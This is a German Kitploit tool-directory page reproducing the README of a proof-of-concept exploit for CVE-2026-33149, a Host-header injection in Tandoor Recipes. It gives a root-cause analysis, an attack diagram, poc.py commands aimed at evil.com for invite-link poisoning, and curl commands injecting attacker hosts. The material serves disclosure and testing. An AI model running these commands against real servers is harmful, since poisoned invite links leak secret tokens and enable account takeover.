Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-33149-PoC — Proof-of-Concept-Exploit für CVE-2026-33149, eine Host-Header-Injection in Tandoor Recipes, die Invite-Link-Poisoning und Cache-Poisoning ermöglicht. Enthält Module für Host-Akzeptanz, Paginierung, Schema und Invite-Poisoning. | Kitploit
Tools/GitHubGitHub/filipegaudard/cve-2026-33149-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPhishingWebsicherheitPenetrationstests
GitHubfilipegaudard/cve-2026-33149-poc

CVE-2026-33149-PoC

Proof-of-Concept-Exploit für CVE-2026-33149, eine Host-Header-Injection in Tandoor Recipes, die Invite-Link-Poisoning und Cache-Poisoning ermöglicht. Enthält Module für Host-Akzeptanz, Paginierung, Schema und Invite-Poisoning.

Repository anzeigen
28vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-33149 — Host-Header-Injection in Tandoor Recipes

CVE-2026-33149 GHSA CVSS 8.1 CWE-644

Affected Version Responsible Disclosure


Zusammenfassung

Tandoor Recipes setzt standardmäßig ALLOWED_HOSTS = '*' in settings.py, wodurch Django jeden beliebigen Wert im HTTP-Host-Header ohne Validierung akzeptiert. Die Anwendung verwendet request.build_absolute_uri(), um in mehreren sicherheitskritischen Kontexten absolute URLs zu erzeugen. Ein Angreifer, der Anfragen mit einem manipulierten Host-Header senden kann, kann alle vom Server generierten URLs auf eine vom Angreifer kontrollierte Domain umleiten.

Die kritischste Auswirkung ist die Vergiftung von Einladungslinks: Wenn ein Administrator eine Benutzereinladung erstellt, enthält die vom Server gesendete E-Mail einen Link, der auf die Domain des Angreifers zeigt. Das Opfer klickt auf eine legitim aussehende E-Mail, das Einladungstoken wird exfiltriert, und der Angreifer nutzt es, um den Kontobereitstellungsprozess zu übernehmen.

Details zur Schwachstelle

FeldWert
CVE-IDCVE-2026-33149
GHSAGHSA-x636-4jx6-xc4w
CWECWE-644 — Unzureichende Neutralisierung von HTTP-Headern für Skriptsyntax
CVSS v3.18.1 HOCH — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
Betroffene VersionTandoor Recipes ≤ 2.5.3
AnbieterTandoorRecipes/recipes

MITRE-ATT&CK-Zuordnung

Technik-IDNameRelevanz
T1557Adversary-in-the-MiddleManipulation servergenerierter URLs zur Umleitung von Datenverkehr
T1566.002Phishing: Spearphishing-LinkVergiftete Einladungs-E-Mail enthält einen vom Angreifer kontrollierten Link

Root-Cause-Analyse

1. Wildcard-ALLOWED_HOSTS

Datei: recipes/settings.py:118

ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*')  # default: wildcard

Djangos ALLOWED_HOSTS ist eine Sicherheitsmaßnahme, die den Host-Header gegen eine Whitelist validiert. Der Wildcard-Wert '*' deaktiviert diese Validierung vollständig und erlaubt beliebige Werte.

2. Unsichere URL-Erzeugung in Einladungs-E-Mails

Datei: cookbook/serializer.py:1852-1853

message += _('Click the following link to activate your account: ') + self.context[
    'request'].build_absolute_uri(
    reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'

request.build_absolute_uri() erzeugt URLs mithilfe von request.get_host(), das den rohen Host-Header-Wert zurückgibt, wenn ALLOWED_HOSTS diesen nicht einschränkt. Die Einladungs-UUID — ein geheimes Token — ist in der URL eingebettet, die nun auf den Angreifer zeigt.

3. Weitere betroffene Oberflächen

  • API-Paginierung — DRF-Paginierungsklassen verwenden build_absolute_uri() für next/previous-URLs
  • OpenAPI-Schema — Der Schema-Generator verwendet es für Server-URLs
  • Cache-Vergiftung — Bereitstellungen mit Caching-Proxys riskieren, dass eine einzelne Anfrage vergiftete URLs für alle Benutzer im Cache ausliefert

Angriffsablauf

┌──────────┐     ① Manipulierte Anfrage    ┌─────────────────┐
│ Angreifer │ ──────────────────────────────→│  Tandoor-Server │
│          │   Host: attacker.com           │  ALLOWED_HOSTS=*│
└──────────┘                                └────────┬────────┘
                                                     │
                                          ② build_absolute_uri()
                                             verwendet "attacker.com"
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │  SMTP-Server   │
                                            └────────┬───────┘
                                                     │
                                       ③ E-Mail mit vergiftetem Link:
                                       http://attacker.com/invite/<uuid>
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │    Opfer       │
                                            │  (klickt Link) │
                                            └────────┬───────┘
                                                     │
                                          ④ UUID an Angreifer gesendet
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │   Angreifer    │
                                            │ verwendet UUID │
                                            │ auf echtem     │
                                            │ Server         │
                                            └────────────────┘

Proof of Concept

Voraussetzungen

  • Python 3.8+
  • requests-Bibliothek
pip install requests

Verwendung

# Alle Validierungsmodule mit Basisauthentifizierung ausführen
python3 poc.py --target http://localhost:8085 \
               --basic-auth admin:password \
               --attacker evil.com \
               --module all

# Alle Module mit Session-Cookies ausführen
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module all

# Nur Vergiftung von Einladungslinks
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module invite \
               --email [email protected] \
               --group-id 1

Module

ModulBeschreibung
host-acceptVerifiziert, dass das Ziel beliebige Host-Header akzeptiert (ALLOWED_HOSTS = '*')
paginationBestätigt, dass API-Paginierungs-URLs die injizierte Domain widerspiegeln
schemaBestätigt, dass OpenAPI-Schema-Server-URLs die injizierte Domain widerspiegeln
inviteErstellt einen vergifteten Einladungslink — der primäre Angriffsvektor
allFührt alle Module nacheinander aus

Manuelle Verifizierung (curl)

1. Akzeptanz des Host-Headers

curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/user/ \
  -H "Host: attacker.com" \
  -u "admin:password"
# Erwartet: 200 (verwundbar) | 400 (gepatcht)

2. Widerspiegelung der Paginierungs-URL

curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" \
  -H "Accept: application/json"
# Erwartet: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}
Tool herunterladen